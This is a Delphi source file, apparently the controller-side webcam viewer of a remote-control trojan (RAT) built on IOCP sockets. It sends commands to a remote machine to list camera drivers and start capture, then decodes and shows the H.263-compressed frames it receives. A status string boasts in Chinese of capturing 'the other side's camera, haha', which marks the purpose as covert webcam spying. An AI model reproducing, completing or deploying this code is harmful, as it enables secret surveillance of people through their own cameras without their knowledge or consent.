videoformunit.pas

iocp远控比较完整的代码.iocp far more complete control of the code

unit VideoFormUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan, ExtCtrls, IocpHerder, vfw, DrawDibUnit, WinSock2,
  ComCtrls, PublicFunctionUnit;

const
  //自定义消息
  WM_TCP_VIDEO_DATAISOK = WM_USER + 103;
  WM_DealDataMsg = WM_USER + 107;
  //视频大小，MSH263+只支持176*144和352*288两种图像格式
  VideoWidth = 352;
  VideoHeight = 288;
  MediaDataBufferSize = VideoWidth * VideoHeight * 3; //视频数据缓冲区大小

type
  TDriverDescriptionArray = array[0..39] of Char;

type
  //视频编码类
  TCodecCls = class
  public
    m_hIC : HIC;
    m_lpbmiU : pBitmapInfo;
    m_BmpC : TBitmapInfo;
    m_cv : TCOMPVARS;
    //初始化
    function InitCompressor(const ImageQuality : integer = ICQUALITY_HIGH): boolean;
    //压缩
    function EncodeVideoData(pin: pchar; len: integer; pout: pchar;
      lenr: pinteger; pKey: pboolean; lm_BmpU : TBitmapInfo; lm_cv : TCOMPVARS): boolean;
    //解压缩
    function DecodeVideoData(pin : pchar; len : integer; pout : pchar;
      lenr : pinteger; flag : DWORD) : boolean;
    //创建和销毁
    constructor Create(const Remotem_lpbmiU : pBitmapInfo = nil);
    destructor Destroy; override; 
  end;
  //视频显示窗口类
  TVideoForm = class(TForm)
    GPDisplayVideo: TGroupBox;
    Panel1: TPanel;
    XPManifest1: TXPManifest;
    GroupBox1: TGroupBox;
    CBWebCamName: TComboBox;
    CBAutoSaveVideo: TCheckBox;
    BGetStartVideo: TButton;
    CBVideoSize: TComboBox;
    CBAutoAdptation: TCheckBox;
    CBChangeCMDRate: TComboBox;
    StatusBarMsg: TStatusBar;
    BGetVideoInfo: TButton;
    ImDisplayVideo: TPanel;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure BGetStartVideoClick(Sender: TObject);
    procedure BGetVideoInfoClick(Sender: TObject);
    procedure CBAutoAdptationClick(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private 
    EntireDrawDibHandle : HDRAWDIB;
    //DRAWDIB绘图使用
    hWndDc : HDC;
    hMemWndDc : HDC;
    ImDisplayVideoDC : HDC;
    hBitmap : Thandle;
    ImageInforHeaderData : TBitmapInfo;
    //命令头信息
    CMDHeader : TInterChangeHeader;
    procedure ShowVedio;
    procedure ReceiveNotifyMsg(var Msg : TMSG); message WM_TCP_VIDEO_DATAISOK;
    procedure ReceiveVideoSouce(var Msg : TMSG); message WM_DealDataMsg;
    { Private declarations }
  public
    m_CodecMgr : TCodecCls;
    ImageQuality : integer;
    //对应的socket
    ClientSocket : TSocket;
    //对应的主socket的单io数据指针
    MainClientSocketIP_IO : PPerHandleData;
    //视频的单IO数据
    SubClientSocketIP_IO : PPerHandleData;
    //处理videodata用
    RemoteCmpedFrameArray : array[0..524288 - 1] of Char; //存放屏传压缩数据的内存池
    RemoteCmpedFrameData : Pointer;
    RemoteUnCmpedFrameData : Pointer;
    tmpDataBuffer : TtmpBuf;//粘包处理用
    //保存视频流用
    VideoFileStream : TFileStream;
    VideoFileName : string;
    //标题栏的数据
    CaptionStr : string;
    //事件，用来等待数据处理完成的通知
    MsgDealDataOkNotifyEvent : THandle;
    //标志是否正在关闭
    IsClosing : Boolean;
    { Public declarations }
  end;

implementation

{$R *.dfm}

//显示视频图像，使用了双缓冲和StretchBlt方式
procedure TVideoForm.ShowVedio;
begin
  DrawDibDraw(
    EntireDrawDibHandle,
    hMemWndDc,  
    0, 0, -1, -1,
    ImageInforHeaderData.bmiHeader,
    @RemoteCmpedFrameArray[0],
    0, 0, 
    ImageInforHeaderData.bmiHeader.biWidth,
    ImageInforHeaderData.bmiHeader.biHeight,
    DDF_SAME_DRAW
  );
  if not CBAutoAdptation.Checked then
  begin
    BitBlt(ImDisplayVideoDC,
      (ImDisplayVideo.Width - ImageInforHeaderData.bmiHeader.biWidth) div 2,
      (ImDisplayVideo.Height - ImageInforHeaderData.bmiHeader.biHeight) div 2,
      ImageInforHeaderData.bmiHeader.biWidth,
      ImageInforHeaderData.bmiHeader.biHeight,
      hMemWndDc, 0, 0,
      SRCCOPY
      );
  end
  else
  begin
    SetStretchBltMode(ImDisplayVideoDC, HALFTONE);//使用这个模式，使得过度平滑 BitBlt
    StretchBlt(ImDisplayVideoDC, 0, 0,
      ImDisplayVideo.Width,
      ImDisplayVideo.Height,
      hMemWndDc, 0, 0,
      ImageInforHeaderData.bmiHeader.biWidth,
      ImageInforHeaderData.bmiHeader.biHeight,
      SRCCOPY
      );
  end; 
end;

procedure TVideoForm.FormCreate(Sender: TObject);
var
  Rect: TRect;  
begin
  self.Icon := Application.Icon;
  //show window in the screen center
  GetWindowRect(self.Handle, Rect);
  SetWindowPos(self.Handle, 0,
    (GetSystemMetrics(SM_CXSCREEN) - Rect.Right + Rect.Left) div 2,
    (GetSystemMetrics(SM_CYSCREEN) - Rect.Bottom + Rect.Top) div 2,
    0, 0, SWP_NOZORDER or SWP_NOSIZE);
  //创建一个事件
  MsgDealDataOkNotifyEvent := CreateEvent(nil, False, False, 'MsgDealDataOkNotifyEvent');
  IsClosing := False;
end;

procedure TVideoForm.FormClose(Sender: TObject; var Action: TCloseAction);
var 
  CMDHeader : TInterChangeHeader; 
begin
  IsClosing := True;
  if MainClientSocketIP_IO <> nil then
    Caption := CaptionStr + '，等待窗体数据关闭，请稍等';
  try
    if MainClientSocketIP_IO <> nil then
    begin
      //将主socket内的记录清零
      MainClientSocketIP_IO^.AllCtrlInstance.CapVideoInstance := 0;
      ZeroMemory(@CMDHeader, sizeof(CMDHeader));
      //关闭远类实例＝ 1
      CMDHeader.Order := 1;
      CMDHeader.OrderObject := CapVideo;
      SetCmdSignByte(MainClientSocketIP_IO^.Socket, CMDHeader, False); 
      //等待数据处理完毕
      Sleep(600);
    end;
    if m_CodecMgr <> nil then m_CodecMgr.Free;
  except

  end;
  if EntireDrawDibHandle <> 0 then
  begin
    DrawDibEnd(EntireDrawDibHandle);
    //关闭dib
    DrawDibClose(EntireDrawDibHandle);
  end;
  //释放窗口dc
  if hWndDc <> 0 then
    ReleaseDC(self.Handle, hWndDc);
  if hMemWndDc <> 0 then
    DeleteDC(hMemWndDc);
  if ImDisplayVideoDC <> 0 then
    DeleteDC(ImDisplayVideoDC);
  if hBitmap <> 0 then
    DeleteObject(hBitmap);
  //释放事件
  CloseHandle(MsgDealDataOkNotifyEvent);
  Action := caFree;
end;

//收到了视频流信息
procedure TVideoForm.ReceiveNotifyMsg(var Msg: TMSG);
begin
  ShowVedio;
  //通知接收线程可以继续了
  SetEvent(MsgDealDataOkNotifyEvent);
end;

//接受反馈信息的--没有考虑视频源设备排序不连续的问题
procedure TVideoForm.ReceiveVideoSouce(var Msg: TMSG);
var
  DriverDescriptionArray : array[0..9] of TDriverDescriptionArray;
  i : byte;
  tmpStr : string;
  ReplayType : DWORD;
  tmpPointer : Pointer;
begin
  MoveMemory(@ReplayType, @RemoteCmpedFrameArray[0], sizeof(ReplayType));
  case ReplayType of
    VideoStartErrorReplay,
    VideoCodeIniErrorReplay:
    begin
      StatusBarMsg.Panels[0].Text := '连接视频设备失败，对方正在使用或者未插入摄像头';
      BGetStartVideo.Enabled := True;
      BGetVideoInfo.Enabled := True;
    end;
    VideoStartSucessReplay:
    begin
      //成功后，就初始化编码
      m_CodecMgr.InitCompressor(ImageQuality);
      //通知接收线程可以继续了
      SetEvent(MsgDealDataOkNotifyEvent);
      StatusBarMsg.Panels[0].Text := '视频打开成功，正在捕获对方摄像头,哈哈...';
    end;
    VideoDESCRIPListReplay:
    begin
      MoveMemory(@DriverDescriptionArray[0], @RemoteCmpedFrameArray[sizeof(ReplayType)], sizeof(DriverDescriptionArray));
      for i := Low(DriverDescriptionArray) to High(DriverDescriptionArray) do
      begin
        tmpStr := DriverDescriptionArray[i];
        if tmpStr <> '' then
          CBWebCamName.Items.Add(tmpStr);
      end;
      StatusBarMsg.Panels[0].Text := '驱动列表成功获取，请选择摄像头进行捕捉';
      BGetStartVideo.Enabled := True;
    end;
    VideoSendBitmapInfoReplay:
    begin
      //创建编码类,并将远程过来的图像头信息传递过去
      m_CodecMgr := TCodecCls.Create(pBitmapInfo(@RemoteCmpedFrameArray[sizeof(ReplayType)]));
      //赋值为相同的图像头属性
      ImageInforHeaderData := m_CodecMgr.m_lpbmiU^;
      //得到句柄
      EntireDrawDibHandle := DrawDibOpen;
      hWndDc := GetDC(self.Handle);
      ImDisplayVideoDC := GetDC(ImDisplayVideo.Handle);
      hMemWndDc := CreateCompatibleDC(hWndDc);
      hBitmap := CreateDIBSection(hMemWndDc, ImageInforHeaderData, DIB_RGB_COLORS, tmpPointer, 0, 0);
      SelectObject(hMemWndDc, hBitmap);
      DrawDibBegin(
        EntireDrawDibHandle, hMemWndDc, -1, -1,
        ImageInforHeaderData.bmiHeader,
        ImageInforHeaderData.bmiHeader.biWidth,
        ImageInforHeaderData.bmiHeader.biHeight,
        DDF_SAME_DRAW
      );
    end;
  end;
end;

//发送命令请求
procedure TVideoForm.BGetStartVideoClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := StartCapVideo;
    if CBWebCamName.ItemIndex = -1 then
    begin
      StatusBarMsg.Panels[0].Text := '请选择视频源先...';
      Exit;
    end;
    //视频源
    CMDHeader.OrderExtend := CBWebCamName.ItemIndex;
    //视频大小
    CMDHeader.ExdSource := CBVideoSize.ItemIndex;
    //视频压缩率
    CMDHeader.ExdDest := CBChangeCMDRate.ItemIndex;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    BGetStartVideo.Enabled := False;
  end;
end;

//获取视频源信息
procedure TVideoForm.BGetVideoInfoClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    //获取视频源信息
    CMDHeader.Order := GetDriverList;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    BGetVideoInfo.Enabled := False;
  end;
end;

{------------------------------TCodecCls-------------------------------}


(*
   cbsize:结构大小
   dwFlages:ICMF_COMPVARS_VALID
   fccType:ICTYPE_VIDEO
   fccHandler:压缩的fcc编码，如"H263"、"M263"，取决于你安装了哪些编码器，以及需要压缩什么格式的视频
   lKey:多少贞有一个key贞
   lDataRate:期望的数据码率，kbyte per sec.
   lQ:质量，0到10000
   lpbiIn:输入图像的bitmapinfo的指针
   hic:通过ICOPEN函数的到的编码器句柄
*)

//初始化一下
constructor TCodecCls.Create(const Remotem_lpbmiU : pBitmapInfo);
begin
  GetMem(m_lpbmiU, sizeof(TBitmapInfo));
  ZeroMemory(m_lpbmiU, sizeof(TBitmapInfo));
  if Remotem_lpbmiU = nil then
    with m_lpbmiU^ do
    begin
      bmiHeader.biSize := sizeof(BITMAPINFOHEADER);
      bmiHeader.biWidth := VideoWidth;
      bmiHeader.biHeight := VideoHeight;
      bmiHeader.biPlanes := 1;
      bmiHeader.biBitCount := 24;
      bmiHeader.biSizeImage := VideoWidth * VideoHeight * 3;
    end
  else
    //将远程的图像头信息导入进来
    MoveMemory(m_lpbmiU, Remotem_lpbmiU, sizeof(TBitmapInfo));
end;

//销毁的时候，关闭压缩器
destructor TCodecCls.Destroy;
begin
	if m_hIC <> 0 then
  begin
		ICDecompressEnd(m_hIC);
		ICSeqCompressFrameEnd(@m_cv);
		ICCompressorFree(@m_cv);
		ICClose(m_hIC);
		m_hIC := 0;
	end;
  inherited;
end;

//压缩
function TCodecCls.EncodeVideoData(pin: pchar; len: integer; pout: pchar;
  lenr: pinteger; pKey: pboolean; lm_BmpU: TBitmapInfo;
  lm_cv: TCOMPVARS): boolean;
var
  k : boolean;
  p : pchar;
  s : longint;
begin
	Result := False;
	s := 2000;
	if (pin = nil) or (pout = nil) or (len <> integer(lm_BmpU.bmiHeader.biSizeImage))
    or (m_hIC = 0) then
	begin
    Result := False;
    Exit;
  end;
  //压缩
	p := pchar(ICSeqCompressFrame(@lm_cv, 0, pin, @k, @s));
	if p = nil then
	begin
    Result := False;
    Exit;
  end;
	if lenr <> nil then
		lenr^ := s;
	if pKey <> nil then
		pKey^ := k;
	CopyMemory(pout, p, s); 
end;

//解压缩
function TCodecCls.DecodeVideoData(pin: pchar; len: integer; pout: pchar;
  lenr: pinteger; flag: DWORD): boolean;
begin
  Result := True;
	if (pin = nil) or (pout = nil) or (m_hIC = 0) then
	begin
    Result := False;
    Exit;
  end;
	//解压缩
	if(ICDecompress(m_hIC, flag, @m_BmpC.bmiHeader, pin, @m_lpbmiU^.bmiHeader, pout)<> ICERR_OK) then
	begin
    Result := False;
    Exit;
  end;
	if lenr <> nil then
		lenr^ := m_lpbmiU^.bmiHeader.biSizeImage;
end;

//初始化一下压缩器参数
function TCodecCls.InitCompressor(const ImageQuality : integer = ICQUALITY_HIGH): boolean;
begin
  Result := True;
  //设置结构体
  ZeroMemory(@m_cv, sizeof(m_cv));
	ZeroMemory(@m_cv, sizeof(m_cv));
	m_cv.cbSize := sizeof(m_cv);
	m_cv.dwFlags := ICMF_COMPVARS_VALID;
	m_cv.hic := m_hIC;
	m_cv.fccType := ICTYPE_VIDEO ;
	m_cv.fccHandler := 859189837; //H263=859189837 ,intel = 1684633187 mpeg4 = 842289229
	m_cv.lpbiOut := nil;
	m_cv.lKey := 1;
  m_cv.lKeyCount := 0;
	m_cv.lDataRate := 4; //
	m_cv.lQ := ICQUALITY_HIGH;
  //打开编码器
  m_hIC := VFW.ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS or ICMODE_DECOMPRESS);
  if m_hIC = 0 then
	begin
    Result := False;
    Exit;
  end;
  ICCompressGetFormat(m_hIC, @m_lpbmiU^.bmiHeader, @m_BmpC.bmiHeader);
  ICSendMessage(m_hIC, $60c9, $f7329ace, $acdeaea2);
  m_cv.hic := m_hIC;
  m_cv.dwFlags := ICMF_COMPVARS_VALID;
  ICSeqCompressFrameStart(@m_cv, m_lpbmiU);
  ICDecompressBegin(m_hIC, @m_BmpC.bmiHeader, @m_lpbmiU^.bmiHeader);
end;

//擦除背景
procedure TVideoForm.CBAutoAdptationClick(Sender: TObject);
begin
  ImDisplayVideo.Refresh;
end;

procedure TVideoForm.FormPaint(Sender: TObject);
begin
  if ImDisplayVideoDC <> 0 then
  begin
    if not CBAutoAdptation.Checked then
    begin
      BitBlt(ImDisplayVideoDC,
        (ImDisplayVideo.Width - ImageInforHeaderData.bmiHeader.biWidth) div 2,
        (ImDisplayVideo.Height - ImageInforHeaderData.bmiHeader.biHeight) div 2,
        ImageInforHeaderData.bmiHeader.biWidth,
        ImageInforHeaderData.bmiHeader.biHeight,
        hMemWndDc, 0, 0,
        SRCCOPY
        );
    end
    else
    begin
      SetStretchBltMode(ImDisplayVideoDC, HALFTONE);//使用这个模式，使得过度平滑 BitBlt
      StretchBlt(ImDisplayVideoDC, 0, 0,
        ImDisplayVideo.Width,
        ImDisplayVideo.Height,
        hMemWndDc, 0, 0,
        ImageInforHeaderData.bmiHeader.biWidth,
        ImageInforHeaderData.bmiHeader.biHeight,
        SRCCOPY
        );
    end;
  end;
end;

end.